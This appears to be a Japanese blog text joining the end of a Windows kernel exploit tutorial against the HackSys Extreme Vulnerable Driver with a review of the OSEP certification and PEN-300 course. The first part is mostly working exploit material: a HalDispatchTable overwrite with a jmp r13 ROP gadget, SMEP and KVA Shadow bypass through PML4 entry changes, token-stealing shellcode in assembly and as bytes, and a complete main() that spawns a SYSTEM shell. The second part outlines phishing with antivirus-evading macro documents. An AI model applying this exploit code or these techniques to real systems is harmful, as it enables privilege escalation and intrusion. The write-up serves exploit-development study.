具体的な手順は以下の通りです。

  1. ROPガジェットのアドレスでHalDispatchTable+0x8を上書きする
  2. レジスタにシェルコードのアドレスをセットする
  3. HalDispatchTable+0x8の間接関数呼び出しを発火させる

もし、3.のROPガジェットが呼び出されるタイミングで、2.でセットしたレジスタの値がそのまま残っていれば、カーネルモードの制御フローがシェルコードに移るはずです。

制御可能なレジスタの調査

ユーザモードコードから制御可能なレジスタを特定するため、WinDbgを用いて実験をしてみます。

実験の手順は以下の通りです。

  1. NtQueryIntervalProfileHaliQuerySystemInformationブレークポイントを仕掛ける
  2. NtQueryIntervalProfileを呼び出す
  3. NtQueryIntervalProfileでブレークしたら、レジスタの値を適当な値に書き換えて処理を続行する
  4. HaliQuerySystemInformationでブレークしたら、3.で設定したレジスタの値が残っているか確認する

WinDbg内でブレークポイントをセットします。

1: kd> bp nt!NtQueryIntervalProfile
1: kd> bp nt!HaliQuerySystemInformation

以下のコードでNtQueryIntervalProfileを呼び出します。

HMODULE ntdll = GetModuleHandle("ntdll");
FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, "NtQueryIntervalProfile");
ULONG dummy = 0;
ntQueryIntervalProfileFunc(2, &dummy);

コードを実行し、期待通りブレークすることを確認します。

Breakpoint 1 hit
nt!NtQueryIntervalProfile:
fffff806`08134430 48895c2408      mov     qword ptr [rsp+8],rbx

書き換えても動作に影響しなさそうなレジスタ(引数や制御に使われているもの以外)を書き換えます。

1: kd> r rax=4141414141414141
1: kd> r rbx=4242424242424242
1: kd> r rsi=4343434343434343
1: kd> r rdi=4444444444444444
1: kd> r r8=4545454545454545
1: kd> r r9=4646464646464646
1: kd> r r10=4747474747474747
1: kd> r r11=4848484848484848
1: kd> r r12=4949494949494949
1: kd> r r13=5050505050505050
1: kd> r r14=5151515151515151
1: kd> r r15=5252525252525252

処理を続行し、HaliQuerySystemInformationでブレークします。

Breakpoint 2 hit
nt!HaliQuerySystemInformation:
fffff806`08392ef0 4055            push    rbp

このときのレジスタの値を確認し、制御可能なレジスタを特定します。

1: kd> r
rax=fffff80608392ef0 rbx=000000ae55dbfeb0 rcx=0000000000000001
rdx=0000000000000018 rsi=4343434343434343 rdi=4444444444444401
rip=fffff80608392ef0 rsp=fffffd822daef428 rbp=fffffd822daef540
 r8=fffffd822daef460  r9=fffffd822daef490 r10=fffff80608392ef0
r11=0000000000000000 r12=4949494949494949 r13=5050505050505050
r14=5151515151515151 r15=5252525252525252
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
nt!HaliQuerySystemInformation:
fffff806`08392ef0 4055            push    rbp

上記の結果から、rsi, r12, r13, r14, r15レジスタの値がユーザモードから制御可能であることが特定できます。

R13レジスタに値をセットする

上記のレジスタのうちから、カーネル内にjmp命令のROPガジェットが存在しているものを選択します。今回はr13を使用することにします。

C言語コードから直接的にレジスタを操作することはできないため、アセンブリ言語レジスタに値をセットする処理を書く必要があります。

以下の通り、アセンブリ言語で第1引数の値をR13レジスタにセットする関数を実装しました。

BITS 64
global SetR13
section .text

SetR13:
    mov r13, rcx    ; Set the 1st argument to r13
    ret

SetR13.asm

C言語ソースコードへの埋め込み

Visual Studioでは、現在のところx64アーキテクチャではインラインアセンブリ__asm)機能のサポートがありません。そのため、Exploit内で上記の関数を呼び出すのには工夫が必要になります。

extern宣言を使用してリンクするのが本来のやり方だと思いますが、コンパイルの設定が面倒なので、ここではバイナリコードを実行可能な領域にコピーして実行する方法を取ります。

上記のアセンブリコードはnasmでアセンブルすることができます。

nasm.exe -f bin -o .\SetR13.bin .\SetR13.asm

アセンブルしたバイナリをC言語コードに埋め込める形式に変換するPythonスクリプトを書きました。変換すると以下のようになります。

> python hex.py SetR13.bin    
// size: 4
unsigned char rawShellcode[] = {
    0x49, 0x89, 0xcd, 0xc3
};

SetR13をC言語ソースコードに埋め込み、以下のようにシェルコードのアドレスを引数に指定して呼び出します。

// SetR13.asm
unsigned char rawSetR13[] = {
  0x49, 0x89, 0xcd, 0xc3
};
PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));

((void (*)(PVOID))executableSetR13)(shellcode);

これで、シェルコードのアドレスがR13レジスタにセットされた状態になります。

カーネルベースアドレスからのオフセットを確認

ArbitraryWriteで関数ポインタを改ざんするためには、カーネルベースアドレスからのHalDispatchTable+0x8とROPガジェット(jmp r13)のオフセットを確認する必要があります。

nt!HalDispatchTable+0x8のオフセットは以下のようにWinDbgで確認することができます。

1: kd> ? nt!HalDispatchTable+0x8 - nt
Evaluate expression: 12585576 = 00000000`00c00a68
  • nt!HalDispatchTable+0x8のオフセット: 0xc00a68

ROPガジェット(jmp r13) のオフセットはrp++が出力したアドレスからベースアドレス(0x140000000)を減算した値です。

0x14080d5db: jmp r13 ; (1 found)
  • ROPガジェット(jmp r13)のオフセット: 0x80d5db

これで必要な準備が揃いました。

ROPガジェットへのジャンプ

ArbitraryWriteでHalDispatchTable+0x8を書き換え、ROPガジェット(jmp r13)が実行されるように関数ポインタを改ざんします。

const size_t HalDispatchTable8_Offset = 0xc00a68;
PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);

const size_t JmpR13_Offset = 0x80d5db;
PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);

ArbitraryWrite(hHevd, halDispatchTable8_Address, &jmpR13_Address); // jmp r13

これで、Kernel-mode Address Checkをバイパスし、制御フローを奪取できるはずです。

WinDbgブレークポイントを仕掛けつつExploitを実行します。

ROPガジェット(jmp r13)にブレークポイントを仕掛けます。

1: kd> bp nt+0x80d5db

NtQueryIntervalProfileを呼び出し、関数ポインタの呼び出しをトリガーします。

ULONG dummy = 0;
ntQueryIntervalProfileFunc(2, &dummy);

先程仕掛けたブレークポイントにヒットします。ROPガジェットの呼び出しに成功しました。

Breakpoint 0 hit
nt!CmpLinkHiveToMaster+0x1a037b:
fffff800`81c0d5db 4bffe5          jmp     r13

この状態でR13レジスタを確認すると、意図した通りシェルコードのアドレス(280bb610000)がセットされていることが分かります。

0: kd> r
rax=fffff80081c0d5db rbx=000000d4216ffb20 rcx=0000000000000001
rdx=0000000000000018 rsi=0000000000000000 rdi=0000000000000001
rip=fffff80081c0d5db rsp=fffff283a770f428 rbp=fffff283a770f540
 r8=fffff283a770f460  r9=fffff283a770f490 r10=fffff80081c0d5db
r11=0000000000000000 r12=0000000000000000 r13=00000280bb610000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
nt!CmpLinkHiveToMaster+0x1a037b:
fffff800`81c0d5db 4bffe5          jmp     r13 {00000280`bb610000}

0: kd> u r13 L4
00000280`bb610000 90              nop
00000280`bb610001 90              nop
00000280`bb610002 90              nop
00000280`bb610003 cc              int     3

任意コード実行

処理を続行すると、ダミーの何もしないシェルコード(nop/nop/nop/int3)が実行されます。

0: kd> g
Break instruction exception - code 80000003 (first chance)
00000280`bb610003 cc              int     3

nopint3だけのコードなので、ブレークする以外には特に何も起こりません。しかし、通常の状態であれば、セキュリティ機構によってint3に到達する前にBSODが引き起こされているはずです。

エラーなくnopint3カーネルモードで実行できたということは、ここまで行ってきたセキュリティ機構のバイパスが意図通り機能していることを示しています。

これで任意コード実行が達成できたので、後はカーネルモードで特権昇格するシェルコードをプログラミングするだけです。

4. Token Stealシェルコードの実行

今回のExploitではToken Stealシェルコードを使用します。

Token Stealシェルコードは、任意のプロセスの権限をSYSTEM権限に昇格させるシェルコードです。このシェルコードは、任意のプロセスのトークンをSYSTEMプロセスのトークンで置き換えることで特権昇格を実現します。

Token Stealシェルコードの処理

以下は、今回作成したToken Stealシェルコードが実行する処理の概要です。

  1. GSレジスタに格納された_KPCRから、いくつかのポインタを辿り、_EPROCESSのActiveProcessLinksへのポインタを取得する

    1. GS[0x180]_KPRCB
    2. _KPRCB + 0x8CurrentThread
    3. CurrentThread + 0xB8CurrentProcess
    4. CurrentProcess + 0x448ActiveProcessLinks
  2. SYSTEMプロセスが見つかるまでActiveProcessLinksを探索する

    • 対象プロセスのUniqueProcessIdが0x04と一致しているか確認する
    • UniqueProcessId != 0x04:
      • SYSTEM以外のプロセス。次のプロセスへのポインタを取得し、再度UniqueProcessIdのチェックを実施
    • UniqueProcessId == 0x04:
      • SYSTEMプロセス発見。SYSTEMプロセスのトークンを取得し、その値でCurrentProcessのトークンを上書きして処理終了

上記の処理がカーネルモードで実行されると、現在のスレッドで実行中のプロセスがSYSTEM権限に昇格します。

Token Stealシェルコードの実装

以下は、上記の処理をアセンブリ言語で実装したものです。

BITS 64
global _start
section .text
    SYSTEM_PID equ 0x04
    ; nt!_KPCR
    Prcb equ 0x180
    ; nt!_KPRCB
    CurrentThread equ 0x08
    ; nt!_KTHREAD
    ApcState equ 0x98
    ; nt!_KAPC_STATE
    Process equ 0x20
    ; nt!_EPROCESS
    UniqueProcessId equ 0x440
    ActiveProcessLinks equ 0x448
    Token equ 0x4b8

_start:
    ; Retrieve a pointer to _ETHREAD from KPCR
    mov rdx, qword [gs:Prcb + CurrentThread]

    ; Obtain a pointer to CurrentProcess
    mov r8, [rdx + ApcState + Process]

    ; Move to the first process in the ActiveProcessLinks list
    mov rcx, [r8 + ActiveProcessLinks]

.loop_find_system_proc:
    ; Get the UniqueProcessId
    mov rdx, [rcx - ActiveProcessLinks + UniqueProcessId]

    ; Check if UniqueProcessId matches the SYSTEM process ID
    cmp rdx, SYSTEM_PID
    jz .found_system  ; IF (SYSTEM process is found)

    ; Move to the next process
    mov rcx, [rcx]
    jmp .loop_find_system_proc  ; Continue looping until the SYSTEM process is found

.found_system:
    ; Retrieve the token of the SYSTEM process
    mov rax, [rcx - ActiveProcessLinks + Token]

    ; Mask the RefCnt (lower 4 bits) of the _EX_FAST_REF structure
    and al, 0xF0

    ; Replace the CurrentProcess's token with the SYSTEM process's token
    mov [r8 + Token], rax

    ; Clear r13 register
    xor r13, r13

    ret

TokenSteal.asm

Exploitに埋め込む

SetR13.asmの際と同様に、Token StealシェルコードをアセンブルしてC言語ソースコードの中に埋め込みます。

nasm.exe -f bin -o .\TokenSteal.bin .\TokenSteal.asm
> python hex.py TokenSteal.bin
// size: 55
unsigned char rawShellcode[] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
    0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
    0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
    0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
    0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
};

ダミーのシェルコードをTokenStealシェルコードに差し替えます。

// unsigned char rawShellcode[] = {
//   0x90, 0x90, 0x90, 0xCC // nop, nop, nop, int3
// };

// TokenSteal.asm
unsigned char rawShellcode[] = {
  0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
  0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
  0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
  0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
  0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
};
PVOID executableShellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));
printf("[*] Executable shellcode: %p\n", executableShellcode);

これで、カーネルモードでToken Stealシェルコードが実行されるようになるはずです。

特権昇格後の処理

現在のExploitでは、Token Stealシェルコードによってプロセスが特権昇格した後、そのまま何もせずにプログラムが終了してしまいます。

特権昇格後の処理として、cmd.exeを子プロセスとして立ち上げるコードを追加します。

system("start cmd.exe");

これで、特権昇格が完了した後、SYSTEM権限で新たなシェルが立ち上がるはずです。

Token Stealシェルコードの実行

Exploitを実行し、意図通りに機能することを確認します。

Exploitを実行すると…

SYSTEM権限で新しいシェルが起動しました。

特権昇格成功です。

KERNEL SECURITY CHECK FAILURE

しかし、Exploitを実行後、少し時間が経つとBSODが発生してしまいます。

Stop codeはKERNEL_SECURITY_CHECK_FAILUREです。

このStop codeは、Windowsカーネル改ざん検知機能(Kernel Patch Protection)がカーネルの改ざんを検知した際に表示するStop codeの一つです。つまり、上記のBSODは、Exploitによる改ざんを検知された結果として引き起こされた可能性があります。

5. カーネル状態の復元

最後に、Exploit後の後片付けとして、カーネル状態の復元を行います。

Exploitの途中で書き換えたカーネル空間のデータは以下の2つです。

  • シェルコードのPML4E
  • HalDispatchTable+0x8

シェルコードのPML4Eについては、途中でオリジナルの値をリークしているので、その値をシェルコードの実行後に再セットすれば良さそうです。

ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &originalPml4Shellcode_Entry);

現在のコードでは、HalDispatchTable+0x8の元の値をリークさせずに上書きしてしまっています。元の値が分からないため、上書き前にArbitraryReadで元の値をリークするコードを追加します。

PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);
printf("[*] Leaked HalDispatchTable+0x8: %p\n", originalHalDispatchTable8);

シェルコードの実行後、ArbitraryWriteでHalDispatchTable+0x8に元の値を再セットする処理を追加します。

ArbitraryWrite(hHevd, halDispatchTable8_Address, &originalHalDispatchTable8);

上記の変更を加えることで、Exploit実行後にBSODが発生しなくなります。

これでExploitは完成です。

Exploit Code

以下のコードは、本記事で作成したExploit Codeのmain関数です。

int main(void)
{
    HANDLE hHevd = GetHevdDeviceHandle();
    PVOID kernelBaseAddress = GetKernelBaseAddress();

    // TokenSteal.asm
    unsigned char rawShellcode[] = {
        0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
        0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
        0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
        0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
        0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
    };
    PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));

    // SetR13.asm
    unsigned char rawSetR13[] = {
        0x49, 0x89, 0xcd, 0xc3
    };
    PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));

    // 1. PML4 Self-Reference Entry Randomizationのバイパス
    const size_t MiGetPteAddress13_Offset = 0x26b573;
    PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);
    PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);
    unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);

    // 2. SMEPとKVA Shadowのバイパス
    unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);
    PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);
    uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);
    uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);
    ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &modifiedPml4Shellcode_Entry);

    // 3. Kernel-mode Address Checkのバイパス
    const size_t HalDispatchTable8_Offset = 0xc00a68;
    PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);
    PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);
    const size_t JmpR13_Offset = 0x80d5db;
    PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);
    ArbitraryWrite(hHevd, halDispatchTable8_Address, &jmpR13_Address); // jmp r13

    // 4. Token Stealシェルコードの実行
    HMODULE ntdll = GetModuleHandle("ntdll");
    FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, "NtQueryIntervalProfile");
    ULONG dummy = 0;
    ((void (*)(PVOID))executableSetR13)(shellcode);
    ntQueryIntervalProfileFunc(2, &dummy);

    // 5. カーネル状態の復元
    ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &originalPml4Shellcode_Entry);
    ArbitraryWrite(hHevd, halDispatchTable8_Address, &originalHalDispatchTable8);

    // SYSTEM権限シェルの取得
    system("start cmd.exe");

    return 0;
}

ArbitraryWriteArbitraryReadの関数定義など、ここに含まれていないExploit Codeの全体は以下のGitHubリポジトリにアップロードしています。

github.com

おわりに

本記事では、HackSys Extreme Vulnerable Driver (HEVD)の任意メモリ上書き脆弱性を悪用したExploitの開発プロセスを解説しました。

この記事は、私がOffSec社のEXP-401: Advanced Windows Exploitationシラバスの中から拾ってきたキーワード(※)が元になっています。今回は「5 Driver Callback Overwrite」のキーワードに絞って調査を行い、調べたことをHEVDのExploitというテーマの上でまとめ直しました。

※ SMEP, KVA Shadow, PML4 Self-Reference Entry Randomization, Token Stealingなど

実のところ、今回の記事を書いた一番の理由は、EXP-401/AWEの参加へ向けた予習のためでした。

ここ数年、私はOffSec社の資格を取ることにハマっており、2022年7月にはOSCE3を取得しました。

OSCE3の次と言えばOSEEしかないだろうということで、最近はEXP-401/AWEに向けた自己学習を進めています。

この記事が何かの役に立てば嬉しいです。

参考

OSEP: OSCPの続編的な資格を取った話

はじめに

先日、OSCPの続編的な資格であるOffensive Security Experienced Penetration Tester (OSEP) に合格しました。

OSCPに関する日本語の記事は最近増えてきたように感じますが、一方でOSEPに関する日本語情報はまだまだ少ないのが現状です。この記事では取り組んだ経験を共有し、少しでも他の方の疑問点を解消できればと思います。

この記事にはOSEP/PEN-300の紹介、OSEPを受ける人へのアドバイス、個人的な感想などが書かれています。この記事がこれからOSEPを受験される方の参考になれば嬉しいです。

(この記事について何か質問があれば @ommadawn46 まで気軽にDMください)

Offensive Security Experienced Penetration Tester (OSEP)

OSEPはOSCPの上位資格であり、試験はOSCPと同じく現実のペネトレーションテストを模した内容となっています。

下位資格のOSCPについては以前記事を書きました。OSCPについてご存じない方は、こちらからご覧いただくことをおすすめします。

ommadawn46.hatenablog.com

OSEP/PEN-300はOSCP/PEN-200と同じくPEN-*00のコースコードを持っているなど、公式の分類上もOSCPの上位資格という扱いです。 (コースの分類についてはこちらのページに詳しく書かれています。)

OSEP/PEN-300のテーマは、セキュリティを意識して構築されたシステムに侵入することです。

標的システムの管理者は、OSやインストールされたソフトウェアをきちんと最新版にアップデートしており、更にはウイルス検知ソフト、AppLocker等の追加のセキュリティ対策を有効化しています。

そういった、セキュリティ的に成熟した組織がターゲットになるという点がOSCP/PEN-200との大きな違いだと思います。

試験の実施形式

OSEP Exam Guideに書いてあることが全てなのですが、その内からいくつか重要な点をまとめます。

1. 試験時間の長さ

  • 試験は47時間45分
  • 終了後、24時間以内にレポートを提出

OSCP試験の24時間も中々の長さでしたが、OSEP試験はその倍の48時間という長さの試験となっています。

2. 合格条件

以下のいずれかの条件を満たした場合に合格できます。

  • local.txt, proof.txtを提出し、合計100ポイント以上のスコアを獲得する
  • secret.txtを提出する

local.txt, proof.txtは、OSCPと同じく試験環境内のマシンに侵入することで得られる証拠ファイルとなっています。

一方、secret.txtはOSCPにはなかった概念です。secret.txtは最終目標マシンにのみ配置されており、こちらを提出すれば合計スコアに関係なく合格することができます。

3. 試験のレギュレーション

OSCPとは異なり、Metersploit, Meterpreterのような自動Exploitツールも使用が許可されています。

禁止されているのは以下の事項のみです。

  • Metasploit Pro、Cobalt Strike、Core Impact、Burp Suite Proなどの商用ソフトウェアの使用
  • ARPDNS、NBNS、IPに対するスプーフィング攻撃

全体的な感想

個人的にはとても満足できる内容でした。

  • PEN-300コースが含むコンテンツのクオリティと量
  • コース内容を網羅するChallenge Lab
  • よく練られた試験問題

総合的に見て値段($1299 ~ $1499)に対する満足感は十分に得られたというのが自分の感想です。

Evasion Techniques and Breaching Defenses (PEN-300)

OSCPがPEN-200 (PWK) コースとセットになっていたように、OSEPもPEN-300 (ETBD) コースとセットになっています。

コース教材

PEN-300コース教材は約700ページのPDFと約19時間の動画で構成されています。

PDFと動画は、どちらもほぼ同じ内容を説明しています。自分は殆ど動画を見ずに学習を進めましたが、特に困ることはありませんでした。

前提スキル

PEN-300コースの前提となっているのは以下のようなスキルです。OSCP合格レベルのスキルとほぼイコールと思って良いと思います。

また、+αで事前に身に着けておくと役に立ちそうなのは以下のような能力です。

  • C#を用いたプログラミング
  • Win32 APIに関する知識

PEN-300に含まれるトピック

まずは公式シラバスをざっと眺めてもらうのが一番良いと思います。

全体的に、追加的なセキュリティ対策のバイパスMisconfigurationの悪用に焦点が当てられています。

追加的なセキュリティ対策のバイパス

  • ウイルス検知ソフト
  • AppLocker
  • Constrained Language Mode
  • AMSI
  • etc.

Misconfigurationの悪用

外部から内部への侵入は、(Exploit可能なバグという意味の)脆弱性を標的にした手法よりも、人間を標的にした手法が主となっています。具体的には、下記の例のような脆弱性を必要としないシナリオです。

例. 標的型攻撃メール

外部から侵入し、ドメインコントローラの掌握を目指して企業ネットワークを攻略していきます。

  1. ソーシャルエンジニアリングで従業員のメールアドレスを取得
  2. マクロを仕込んだWordファイルをウイルス検知ソフトに引っかからないようにチューニング
  3. Wordファイルを業務に関連した書類に偽装し、従業員にメール送付。マクロを実行させて侵入
  4. Constrained Language ModeやAppLockerなどの追加的なセキュリティ対策をバイパス
  5. Active DirectoryなどのMisconfigurationを攻撃し、ラテラルムーブメントで更に侵害範囲を拡大

Windowsを対象にした内容が大部分を占めます。トピックとして一応Linuxも含まれてはいるものの、Windowsに比べると量も少なく、内容も若干ランダムな印象です。

Win32 API

PEN-300のコース内では、既存ツールを使って攻撃するよりも、Win32 APIを用いて自前のペネトレーションテスト用ツールを開発して攻撃するという内容が多いです。

mimikatzはPEN-200でも使用する機会がありましたが、その内部動作に関しては殆ど知る必要がありませんでした。

一方、PEN-300コースにはmimikatzの一部機能をWin32 APIを駆使して自分で実装するといった内容が含まれています。PEN-300は、mimikatzの使い方だけでなく、どうやったらmimikatzを作れるかも教えてくれるコースであると言えるかもしれません。

Active Directory

テキストにはActive Directoryをメインとした章は1つしかないのですが、実際のところコース全体通して一番重要度が高いのはこの章の内容だと思います。

この章には、PowerView.ps1などのPowerShellスクリプトを用いた列挙方法や、3種類のKerberos Delegationに対する攻撃方法などのトピックが含まれています。

いま攻撃しようとしている権限が、AD上でどういう意味がある権限で、なぜ攻撃可能なのか、攻撃すると何ができるのか。そういった仕組みを理解することが具体的手順の理解よりも重視されています。

この章に限らず、テキストのコマンドをコピペ&実行だけでサラッと終わらせずに、自分なりに弄ってみたりしながら深く仕組みを理解することが重要と感じました。

PEN-200との違い

1. 仕組みの理解が重要

PEN-200が扱う範囲では、基本的に既知脆弱性の攻撃による侵入が中心となっていました。侵入プロセスはExploit-DBから攻撃コードをダウンロードしてきて実行するだけというパターンが多く、システムに関する仕組みの理解はあまり求められない印象でした。

それに対して、PEN-300ではしっかりActive Directoryなどのシステムの仕組みを理解していないと攻撃できないシナリオが多く、より深い理解が重要になっています。

2. モダンな攻撃手法

PEN-200は基礎的な内容としては十分なのですが、紹介されている攻撃手法の中には現代では通用しないと感じるものもありました(Web脆弱性BOFのパートなど)。

一方、PEN-300の内容に関しては、個人的に時代遅れと感じたものはなく、流石最新の資格なだけはあるという感想でした。

3. いたちごっこから学ぶ

PEN-300コースでは以下のようなステップでの解説が多く見られます。

  1. 現代では通用しない過去の攻撃テクニックを解説 & 実践
  2. それがどういう経緯(セキュリティ対策の追加)で通用しなくなったかを解説
  3. 追加されたセキュリティ対策をバイパスするテクニックを解説 & 実践

これらのステップから、攻撃テクニックとセキュリティ強化のいたちごっこの歴史を辿りながら制限をバイパスする方法を学べるようになっています。

未知の制限に遭遇したときに、どうやって新しいバイパス方法を編み出すかという応用の観点も優れたペンテスターには必要だと思うのですが、そういった応用的なマインドも教えてくれるという点はPEN-200よりもハイレベルなところです。

AMSI.DLLをWinDBGで解析してAMSIを無効化するPowerShellスクリプトを作るパートや、3種類のKerberos Delegationが追加された背景を学びながら攻撃方法を学ぶパートは、上記の観点が学べるという点で個人的に気に入ってます。

コースの日数

60日コースと90日コースが選択できますが、演習問題のボリューム、Challenge Labのボリュームを鑑みると、フルタイム労働者なら90日コースで申し込むのが無難と思います。

働きながらの60日間で演習問題とChallenge Labの全てを完了しようとすると中々にハードな日々を送ることになると思います。ちなみに自分は60日コースで申し込みましたが、残念ながら時間が足りず、泣く泣く30日間のLab Extensionを購入しています。

時間がある学生さんなら60日コースでも問題ないと思います。

Challenge Lab

PEN-300コースで学んだ技術を実践する場として、OSEPにも複数のChallenge Labが用意されています。

PEN-200のLabとの違い

PEN-300のLabはPEN-200のものと以下のような違いがあります。

1. 学生ごとに分離された専用の環境が用意されている

これはOSWEも同様でした。300レベルのコースは全て学生ごとの専用環境と思われます。

これが300レベルのコースの値段がPEN-200コースよりも高い理由かもしれません。

2. 1つのチャレンジの中に数台〜10台程度のマシンが含まれている

マシンからマシンへラテラルムーブメントで侵害範囲を拡大していくシナリオが中心です。

3. OSやソフトウェアが基本的に最新化されている

PEN-200は歴史あるコースなだけあって、Labマシンの中には少々古めかしいものもありましたが、PEN-300のLabマシンは(現時点では)全てモダンな環境となっています。

自作ツールの改良

PEN-300の全体を通して、コースに取り組む時間の多くをプログラミングが占めます。コース自体にプログラミングを要する内容が多いですし、Challenge Labではコースで作ったツールを改良するために更に長い時間がかかります。

テキストに登場する攻撃コードは、特定の環境のみで動作するような使い勝手の悪いものになっており、Challenge Labに挑戦し始めると実用のためには改良が必要ということに気がつくと思います。

Lab環境内にはVisual StudioがインストールされたVMが用意されており、その上でプログラミングを行うこともできます。しかし、このVMは動作が重いので、ローカルマシンにVisual Studioをインストールしてコーディングすることをおすすめします。

既製ツールの活用

PEN-300は、全体的に自作ツールを使って攻撃を行う流れが中心となっており、既に世の中に便利なツールが存在していてもコース内では使い方を教えてくれないことが多いです。

以下の2つのツールはテキストでは使い方を教えてくれませんが、非常に便利なのでChallenge Labで使い倒しておくことをおすすめします。

特に、BloodHoundは超・重要です。AD攻略が圧倒的に楽になるので必ず使い方をマスターしておきましょう。

試験へ向けた準備

ここからは、OSEP試験に向けた準備のアドバイスをしていきます。

筆者の経験

前提として、自分の受講前の経験について書いておきます。

仕事ではWindowsをほぼ触ってこなかったこともあり、前提知識はOSCP合格経験と上記のC#教材のみという状態からのスタートでした。

学習方法

PEN-300コースの演習問題とChallenge Labをしっかりやるのが一番良いと思います。自分が知る限りでは、PEN-300コース教材以上にOSEP合格につながるような教材はないと思っています。

OSCPではHackTheBoxやTryHackMe上での学習が有効でしたが、OSEPは10台近くのマシンが絡むような、ある程度の規模の企業ネットワークに対するペネトレーションテストがテーマとなっているので、単体のマシンを対象にした問題では不十分だと思います。

Cybernetics Pro Lab

自分はやったことがないのですが、HackTheBoxのCybernetics Pro Labは大規模なActive Directory環境が舞台となっており、OSEPの内容に近いとの評判です。

公式Discordを見ると、こちらをOSEP対策として事前攻略している人が多く見受けられます。

ただ、個人的には教材を増やさなくてもテキストやChallenge Labを周回すれば十分な気もしています。自分は試験までにテキストの演習問題(Extra Miles含む)を解き、Challenge Labを3周しました。特にそれ以外のリソースを使った学習は行いませんでした。

コマンドやツールの準備

テキストの演習問題、Challenge Labで使用したコマンド、ツールはすぐに使えるように準備しておいた方が良いです。

コマンドはコピペするだけで使える自前のチートシートを作っておくのがおすすめです。

ツールはテキストで紹介されたものを更に改良しておくことをおすすめします。

ペイロードAntiScan.Meで検知されないようになるまで改良したり、ツールを攻撃対象のIPアドレスやホスト名が変わっても対応できるように改良したり、自前の武器庫を充実させておくのが重要です。特に、コース内で登場した各種ツールにAppLockerバイパスを組み合わせた改良版は作っておいたほうが良いです。

メモの取り方

質の良いチートシートを作るためにも、後のレポート作成のためにも、コースやChallenge Labでは逐一メモを取ることをおすすめします。自分はVSCodeを使ってMarkdownとしてメモを残すようにしていました。

個人的に一番楽なスタイルは、攻略に使用した全てのコマンドと実行結果をMarkdownとして保存しておき、後々その一部を抜粋してnoraj氏のMarkdownテンプレートに貼り付けるだけでレポートが完成するようにしておくものです。

John Hammond氏がOSEPレビューの動画Obsidianというツールを紹介していて、最近はこちらでメモを取るのも人気になってきているようです。

余談

OSCEの廃止とOSCE3の登場

2020年10月以前にはOSCEという資格がOffensive Security社から提供されていました。

OSCEの新規受講はOSEPの登場と入れ替わる形で終了になったのですが、同時にOSCEの後継資格として、OSCE3が登場しました。

OSCE3は、以下の3つの資格を取得すると自動的に獲得できる特殊な位置づけの資格となっています。

本記事のメイントピックであるOSEPもOSCE3を構成する資格の1つです。

OSCEに含まれていた内容が Network Penetration Testing (OSEP)、Web App Security (OSWE)、Exploit Development (OSED) の3つの新資格へと分割された結果、このような位置づけになったようです。ただ分割されただけではなく、相当にボリュームも増えており、OSCE3はトータルでOSCEの2倍を超える内容を含むとのことです。

2021年11月の新コース追加

